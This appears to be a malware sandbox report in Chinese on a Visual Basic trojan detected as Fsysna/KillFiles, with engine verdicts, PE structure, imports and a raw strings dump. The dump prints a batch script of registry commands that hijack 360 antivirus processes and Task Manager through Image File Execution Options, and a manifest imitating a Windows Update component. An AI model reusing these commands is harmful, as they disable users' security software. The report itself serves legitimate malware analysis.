1.1
低危

21ec4fffa1485a11769d793b887a941c1d4106c863d86f36e1e8c414a9c37df0

21ec4fffa1485a11769d793b887a941c1d4106c863d86f36e1e8c414a9c37df0.exe

分析耗时

195s

最近分析

360天前

文件大小

324.5KB
静态报毒 动态报毒 CVE FAMILY METATYPE PLATFORM TYPE UNKNOWN WIN32 TROJAN FSYSNA
鹰眼引擎
DACN 0.12
FACILE 1.00
IMCLNet 0.69
MFGraph 0.00
静态判定
反病毒引擎
查杀引擎 查杀结果 查杀时间 查杀版本
Alibaba virus:Win32/InfectPE.ali2000007 20190527 0.3.0.5
Avast Win32:Malware-gen 20240201 23.9.8494.0
Baidu None 20190318 1.0.0.2
CrowdStrike win/malicious_confidence_100% (W) 20231026 1.0
Kingsoft malware.kb.a.1000 20230906 None
McAfee Trojan-FQXU!767CDDFADE1B 20240201 6.0.6.653
Tencent Trojan.Win32.Fsysna.a 20240201 1.0.0.1
静态指标
行为判定
动态指标
在 PE 资源中识别到外语 (1 个事件)
name RT_VERSION language LANG_CHINESE filetype None sublanguage SUBLANG_CHINESE_SIMPLIFIED offset 0x0000a9a4 size 0x0000024c
网络通信
与未执行 DNS 查询的主机进行通信 (1 个事件)
host 114.114.114.114
文件已被 VirusTotal 上 66 个反病毒引擎识别为恶意 (50 out of 66 个事件)
ALYac Trojan.Agent.DVQW
APEX Malicious
AVG Win32:Malware-gen
AhnLab-V3 Trojan/Win32.Fsysna.R269415
Alibaba virus:Win32/InfectPE.ali2000007
Antiy-AVL Trojan/Win32.Fsysna.fccr
Arcabit Trojan.Agent.DVQW
Avast Win32:Malware-gen
Avira TR/Patched.Ren.Gen
BitDefender Trojan.Agent.DVQW
BitDefenderTheta AI:Packer.116075751F
Bkav W32.AIDetectMalware
CAT-QuickHeal Trojan.FsysnaVMF.S25436422
ClamAV Win.Malware.Fsysna-7004456-0
CrowdStrike win/malicious_confidence_100% (W)
Cybereason malicious.8dbe98
Cylance unsafe
Cynet Malicious (score: 100)
DeepInstinct MALICIOUS
DrWeb Trojan.KillFiles.64121
ESET-NOD32 Win32/KillFiles.A
Elastic malicious (high confidence)
Emsisoft Trojan.Agent.DVQW (B)
F-Secure Trojan.TR/Patched.Ren.Gen
FireEye Generic.mg.767cddfade1b6eb0
Fortinet W32/Fsysna.FCCR!tr
GData Win32.Trojan.Musecador.A
Google Detected
Gridinsoft Virus.Win32.Gen.ka!i
Ikarus Trojan.Agent
Jiangmin Trojan.Fsysna.kfk
K7AntiVirus Trojan ( 0000bbc81 )
K7GW Trojan ( 0000bbc81 )
Kaspersky Trojan.Win32.Fsysna.fcpq
Kingsoft malware.kb.a.1000
Lionic Trojan.Win32.Fsysna.tpPg
MAX malware (ai score=85)
Malwarebytes Generic.Malware.AI.DDS
MaxSecure Trojan.Fsysna.fcpq
McAfee Trojan-FQXU!767CDDFADE1B
MicroWorld-eScan Trojan.Agent.DVQW
Microsoft Trojan:Win32/Musecador
NANO-Antivirus Trojan.Win32.Fsysna.fpivmo
Panda Trj/Genetic.gen
Rising Worm.KillFile!1.B91B (CLASSIC)
SUPERAntiSpyware Trojan.Agent/Gen-Fsysna
Sangfor Suspicious.Win32.Save.vb
SentinelOne Static AI - Malicious PE
Skyhigh BehavesLike.Win32.Generic.fm
Sophos Troj/VB-KNV
可视化分析
二进制图像
数据导入图像 288x288
数据导入图像 224x224
数据导入图像 192x192
数据导入图像 160x160
数据导入图像 128x128
数据导入图像 96x96
数据导入图像 64x64
数据导入图像 32x32
运行截图
暂无运行截图 该样本运行过程中未生成截图

👋 欢迎使用 ChatHawk

我是您的恶意软件分析助手,可以帮您分析和解读恶意软件报告。请随时向我提问!

🔍 主要威胁分析
⚡ 行为特征
🛡️ 防护建议
🔧 技术手段
🎯 检测方法
🤖

PE Compile Time

2019-04-20 18:22:04

PE Imphash

d2bf2bc66c5e49a85254cd29b19046bd

Sections

Name Virtual Address Virtual Size Size of Raw Data Entropy
.text 0x00001000 0x00007df0 0x00008000 6.058616924670466
.data 0x00009000 0x00000b40 0x00001000 0.0
.rsrc 0x0000a000 0x00001000 0x00001000 4.416328167746471

Resources

Name Offset Size Language Sub-language File type
RT_ICON 0x0000a0e8 0x000008a8 LANG_NEUTRAL SUBLANG_NEUTRAL None
RT_GROUP_ICON 0x0000a990 0x00000014 LANG_NEUTRAL SUBLANG_NEUTRAL None
RT_VERSION 0x0000a9a4 0x0000024c LANG_CHINESE SUBLANG_CHINESE_SIMPLIFIED None

Imports

Library MSVBVM60.DLL:
0x401000 _CIcos
0x401004 _adj_fptan
0x401008 __vbaStrI4
0x40100c __vbaVarMove
0x401010 __vbaAryMove
0x401014 __vbaFreeVar
0x401018 __vbaStrVarMove
0x40101c __vbaLenBstr
0x401020 __vbaFreeVarList
0x401024 __vbaEnd
0x401028 _adj_fdiv_m64
0x40102c __vbaFreeObjList
0x401030 _adj_fprem1
0x401034 __vbaStrCat
0x401038 __vbaError
0x40103c __vbaSetSystemError
0x401044 _adj_fdiv_m32
0x401048 __vbaAryDestruct
0x40104c __vbaExitProc
0x401050 __vbaVarForInit
0x401054 None
0x401058 None
0x40105c __vbaObjSet
0x401060 __vbaOnError
0x401064 _adj_fdiv_m16i
0x401068 _adj_fdivr_m16i
0x40106c None
0x401070 _CIsin
0x401074 __vbaErase
0x401078 __vbaChkstk
0x40107c __vbaGosubFree
0x401080 __vbaFileClose
0x401084 EVENT_SINK_AddRef
0x40108c None
0x401090 __vbaAryConstruct2
0x401094 __vbaPutOwner4
0x401098 __vbaI2I4
0x40109c DllFunctionCall
0x4010a0 __vbaFpUI1
0x4010a4 __vbaRedimPreserve
0x4010a8 __vbaStrR4
0x4010ac _adj_fpatan
0x4010b4 None
0x4010b8 __vbaRedim
0x4010bc EVENT_SINK_Release
0x4010c0 __vbaNew
0x4010c4 None
0x4010c8 __vbaUI1I2
0x4010cc _CIsqrt
0x4010d4 __vbaUI1I4
0x4010d8 __vbaExceptHandler
0x4010dc __vbaPrintFile
0x4010e0 __vbaStrToUnicode
0x4010e4 None
0x4010e8 _adj_fprem
0x4010ec _adj_fdivr_m64
0x4010f0 __vbaGosub
0x4010f4 None
0x4010f8 __vbaFPException
0x4010fc None
0x401100 __vbaGetOwner3
0x401104 __vbaStrVarVal
0x401108 __vbaVarCat
0x40110c __vbaGetOwner4
0x401110 __vbaI2Var
0x401114 __vbaLsetFixstrFree
0x401118 None
0x40111c _CIlog
0x401120 __vbaErrorOverflow
0x401124 __vbaFileOpen
0x401128 __vbaVar2Vec
0x40112c __vbaNew2
0x401130 None
0x401134 None
0x401138 None
0x40113c _adj_fdiv_m32i
0x401140 _adj_fdivr_m32i
0x401144 None
0x401148 __vbaStrCopy
0x40114c __vbaVarSetObj
0x401150 __vbaFreeStrList
0x401154 __vbaDerefAry1
0x401158 _adj_fdivr_m32
0x40115c _adj_fdiv_r
0x401160 None
0x401164 None
0x401168 __vbaVarTstNe
0x40116c None
0x401170 __vbaI4Var
0x401174 __vbaVarAdd
0x401178 __vbaAryLock
0x40117c __vbaVarDup
0x401180 __vbaStrToAnsi
0x401188 __vbaFpI4
0x40118c __vbaVarCopy
0x401190 None
0x401198 _CIatan
0x40119c __vbaStrMove
0x4011a0 __vbaStrVarCopy
0x4011a4 _allmul
0x4011a8 __vbaLenVarB
0x4011ac _CItan
0x4011b0 __vbaAryUnlock
0x4011b4 __vbaFPInt
0x4011b8 __vbaVarForNext
0x4011bc _CIexp
0x4011c0 __vbaFreeStr
0x4011c4 __vbaFreeObj

L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
9879B1117C2F52F3F44D9A9A81AC476E
BAB4B9471A485B863E6F2DD263109B26
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
@>@644DABDF7427DBCB5317BF9C3AD106B0
9E46593A54E783D154760E09CA432129
265D805C622814C438AB41C997B1F342
5B9046F5A51A0280AAE69D298B185C1F
5B9046F5A51A0280AAE69D298B185C1F
6C921CCC1F1BE20EB1FE4E289BECDA8F
EA7AE7F1CCFAE7411D9FD2AFB10748E0
B12683B7D289C0273C8FECA0106C151A
E060C7A391158F434D7E5893CC584935
8C43C187016C3F164ED08F14953574E2
DEA724912A1A2957BAAA853ACD5CE1F8
6C45EBA27D595DEDDA06D0259E4A7575
8EEF6C9EADDEE834EA8FDDB3D7BF2BE1
92F7F1673B73E4E6CF21DD079367604B
S3x;|-Su
@@f8\tPu
RPQ4|0E
MQVP,|\
MQVP0|L
MQVP(|<
MQVP$|,}
~&uuuh((
u<EPEPEPWh
f9}u 6q;|
EEEEEtp]
;tiV<f-t>f=t8
3CCf3f;uE
;tuPSP
V9u29u*9u"9u
3PPPu9S
if83F9t
gY^APu
tMVPWP;
_P\j3;
;|{VVPF
;|SV54
PS}lPSh
VPDSVP
EEPEPj
uuuuuu
VEP3CSh)
tBEPEPu
t-VEPSh`)
EPEPEPuu
Et)h()
VSVVVuVuh
3LSWWj&W
VWWEPu
SDz| 9}
VWWEPu
tx]EPS
EtUWEPj
uW33_9ut
tIE9EMu
9Mt9+Mj
UQQEPE
E3WEPSj(j
EPN[|:E
M+&u*3
t#f|E0r
f<C9v+W
f|E.u@
|EPf}y:
EPf}i:
EPf}X:
EPf}G:
EPf}6:
MWWWVh
UQQSV3E
u$Ku SW8
|U;wQu
48Mt?E
39M}z;thE
PVVVVSPjVV9tB
3OVV@PjVVVVVPP6
3j\E[f9
=f9u;f9u0SP5
;YYtm@@tif9
HH;wf8\u
VWZ|"E
;u?h .
S^0hP/
SF,39N
t+9N t&9N$t!9N(t
tU;uQ9=p
y;t99}t
9:twf9;tr
f;uFf98u
AAf9;uf99t
f9AAB;r
U,SVW3}
_t&3A}
uFE3;t=f
V3;EEx/
u;uIu(EPE
Wj&uV,
3PPPPPPuV
V t0EPEP
VW3V0EPVVj
9VMQPVj
lM XSEE$VW3G#
YYt"Eh/
jdYERh
EPVW_
pW(p9Tt
TW(9tt
|3WWW0hP.
dS4VWWSV
HDx98t
W(\PPu
t9HtJtP |.9tt&h/
u(hWp$
$VVhhVXl
ItRIt!PhH0
S3VWhx0
E]]]]]]E
EPWPUu
Eto6U;
uEPSSSSSSStEj
Et=uU;
Et06uUuU;]u
uU9]_^[t
UQQV3F}
VEE$Wu
E,WE3}
t0WEPuuu
EPj EPuUE;t
UQSV3Sh
WSot)33
SVW33;
Ys$t)u
3;|B9M
3;| 9M
Y3E_^[
VW33;Ex/
WWWWSP
8SMQPj
p|E hE$SV`E(W3G#
jdYERh
EPSWF|.39\
x4x9Xt
lp3VVV\h 1
QQjPP ;
|G9t?h/
cWWW`hCPh/
Ej<P3-Dj
|Px639E
Y+Q}QPu
Q=P9,j
teVQPh
~$~(~,}}
;uFF,EEPv(EPWh2
F,EEPv(EPWh3
;un3@9EufF$F(F
Mt@MQPEPWh
WWv(v,v
v,v(([EPh2
u9EPEPWWht3
WVS3D$
3;[E]u
`E;9]E
tjtf3}
Y3@39E
]EEOEEEUE0
EPEPS;
;tASSSP
KEEPEPS}3
MM8l<@
??3@YAXPAX@Z
??2@YAPAXI@Z
__CxxFrameHandler
_vsnwprintf
malloc
_CxxThrowException
_c_exit
_XcptFilter
_cexit
_acmdln
__getmainargs
_initterm
__setusermatherr
_adjust_fdiv
__p__commode
__p__fmode
__set_app_type
_except_handler3
msvcrt.dll
__dllonexit
_onexit
??1type_info@@UAE@XZ
_controlfp
?terminate@@YAXXZ
CloseHandle
ProcessIdToSessionId
GetCurrentProcessId
GetLastError
DeleteCriticalSection
FreeLibrary
UnregisterWaitEx
CreateEventW
ReleaseMutex
WaitForSingleObject
SetEvent
RegisterWaitForSingleObject
OpenEventW
CreateMutexW
LeaveCriticalSection
EnterCriticalSection
GetCurrentThreadId
GetTickCount
ExitProcess
SystemTimeToFileTime
GetLocalTime
lstrlenW
GetSystemDefaultLangID
CreateProcessW
GetSystemDirectoryW
GetProcAddress
InterlockedIncrement
InterlockedDecrement
WaitForMultipleObjects
CreateThread
TryEnterCriticalSection
CompareStringW
GetTimeFormatW
QueryPerformanceCounter
GetSystemTimeAsFileTime
TerminateProcess
GetCurrentProcess
UnhandledExceptionFilter
SetUnhandledExceptionFilter
LocalFree
GetModuleHandleA
GetStartupInfoA
KERNEL32.dll
GetObjectW
CreateFontIndirectW
GetStockObject
DeleteObject
SelectObject
SetTextColor
SetBkMode
DeleteDC
StretchBlt
SetStretchBltMode
CreateCompatibleDC
SetBkColor
BitBlt
GetTextExtentPoint32W
CreateSolidBrush
TextOutW
GetCurrentObject
GDI32.dll
RegisterClassExW
LoadCursorW
PostMessageW
EndDialog
SendMessageW
LoadAcceleratorsW
LoadStringW
GetSystemMetrics
LoadImageW
KillTimer
DialogBoxParamW
SetFocus
SetActiveWindow
TrackPopupMenu
SetForegroundWindow
GetCursorPos
DefWindowProcW
SetWindowsHookExW
PostQuitMessage
DestroyWindow
DispatchMessageW
TranslateMessage
MsgWaitForMultipleObjectsEx
PeekMessageW
SetTimer
ShowWindow
CreateWindowExW
AppendMenuW
CreatePopupMenu
DestroyMenu
SetRectEmpty
DestroyCursor
InvalidateRect
CreateCursor
CallWindowProcW
PtInRect
ScreenToClient
SetCursor
SetCapture
FillRect
GetClientRect
GetParent
ReleaseCapture
GetCapture
GetFocus
DrawTextW
GetWindowLongW
DrawFocusRect
EnableWindow
GetDlgItem
ReleaseDC
MapWindowPoints
GetWindowRect
MessageBoxW
GetSysColorBrush
GetSysColor
GetDlgCtrlID
CallNextHookEx
TranslateAcceleratorW
EnableMenuItem
GetSystemMenu
SetWindowPos
EndPaint
BeginPaint
CreateDialogParamW
GetPropW
GetWindowTextW
GetWindowTextLengthW
SetWindowLongW
SetPropW
CheckDlgButton
CheckRadioButton
IsDlgButtonChecked
UpdateWindow
GetKeyState
DrawEdge
EqualRect
RemovePropW
OffsetRect
CopyRect
GetDesktopWindow
IsWindow
SetWindowTextW
USER32.dll
Shell_NotifyIconW
ShellExecuteW
SHELL32.dll
CoCreateInstance
CoUninitialize
CoInitializeEx
ole32.dll
OLEAUT32.dll
CreateURLMoniker
urlmon.dll
InitCommonControlsEx
COMCTL32.dll
WTSFreeMemory
WTSQuerySessionInformationW
WTSAPI32.dll
wcstoul
_wsplitpath
_vsnprintf
wcschr
wcslen
_wcsicmp
memmove
RegCloseKey
RegQueryValueExA
RegOpenKeyExA
QueryServiceStatus
CloseServiceHandle
OpenServiceW
OpenSCManagerW
RegOpenKeyExW
RegSetValueExW
RegCreateKeyExW
RegQueryValueExW
RegOpenKeyW
AdjustTokenPrivileges
LookupPrivilegeValueW
OpenProcessToken
SetNamedSecurityInfoW
GetSecurityDescriptorDacl
GetSecurityDescriptorOwner
ConvertStringSecurityDescriptorToSecurityDescriptorW
ADVAPI32.dll
LoadLibraryA
GetCommandLineW
VerifyVersionInfoW
VerSetConditionMask
GetPrivateProfileStringW
GetFileAttributesW
lstrcmpiW
HeapFree
HeapAlloc
GetProcessHeap
GetSystemTime
SetFileAttributesW
CreateDirectoryW
DeleteFileW
FindClose
RemoveDirectoryW
FindNextFileW
FindFirstFileW
SetLastError
MultiByteToWideChar
lstrlenA
ReadFile
GetFileSize
CreateFileW
InitializeCriticalSection
GetModuleHandleW
GetVersionExW
LoadLibraryExW
lstrcpynW
CopyFileW
GetFileTime
MoveFileW
FileTimeToSystemTime
GetDateFormatW
WideCharToMultiByte
HeapReAlloc
InterlockedCompareExchange
GlobalAlloc
GlobalFree
SetFileTime
GetCurrentThread
CompareFileTime
WriteFile
CompareStringA
UnmapViewOfFile
MapViewOfFile
CreateFileMappingW
SetEndOfFile
SetFilePointer
FormatMessageW
CharNextW
CharUpperA
CharLowerA
SHGetFolderPathW
StrStrW
PathFindFileNameW
StrChrW
StrRChrW
PathIsRootW
PathIsUNCW
PathStripToRootW
PathIsRelativeW
StrToIntW
SHLWAPI.dll
ExtractFiles
ADVPACK.dll
VERSION.dll
WinVerifyTrust
WTHelperGetProvCertFromChain
WTHelperGetProvSignerFromChain
WTHelperProvDataFromStateData
WINTRUST.dll
CryptHashPublicKeyInfo
CertGetCertificateContextProperty
CRYPT32.dll
.?AV_com_error@@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
version="5.4.0.0"
processorArchitecture="x86"
name="Microsoft.Windows.windowsupdate.wuauclt"
type="win32"
<description>manifest file for wuauclt</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
processorArchitecture="x86"
publicKeyToken="6595b64144ccf1df"
language="*"
/>
</dependentAssembly>
</dependency>
</assembly>
Ld@dLF&LLLLLL
ddd"d@llLFFL"&LLLLLLd""
LLll"",LFF
lb""l&$plLLd"""Bbl@dllb""","&&@lLlb"""lnF"bb
"""nb""&&$
l""l""""bf
lwwr.""""&,
wnl"""b
~b""""&
wp;7"""&
***" ;
C0~" C~lb" LC2"#;z."
LC;3""""3
LA* zMDDDDA
LLF,LLLL
Lf",lLLL"&Lllb"""l
L"fB"f
Lwww&"""l
**& LC
`;0vn*&
;3;0znb
330v@LDBrADD
LBLL@"&
0$A:MD
NKQJJJJ==b
a`US<<<!<<5D?9
hp[5555Kr5555556
hiI5;:78XrX 18?;4556
11111H111
11087??G78111
118?CCCCBGC?7/12
118?CCBFMMMFBCC701 HrrN%2bZ
q`107CCBMLOOR]MFBCC829
q>0?CBMLORRVgROMFCC7XrrN9Z
q0?CFMORVU[UVRRLMBCrrGbZ
wd?CFMRRU[[[ccc[UUVnrX=Z
w`CFLRVU[[[cejeecc[g
w\BMRRU^``gxifffeklJZ
wBMRR^\]vumiifvvJZ
wFLRV_l
olvutmiffJZ
xttqifelXQZ
{ttqifKZ
|y{ttmiN
~~{tqifnZ
~~{tm^Z
<#'+-+'$
~{tqca
&+-+*&#
Hb~~tqivvT
!$*-,*&$
~~ttmfkh
!#',,+'$
~fegiT
!&+-+*&
zifc[vs
$*-,*&$
}qffc[g|
!!$',,+'$
mfec[my
<'+-+'&
ifccq|
!&+-,*&#
TT.*'()T
aZNKJJ==b
aj<65KK466
18>o3>1
/7CCBXGC71
w27CBLORFC?89
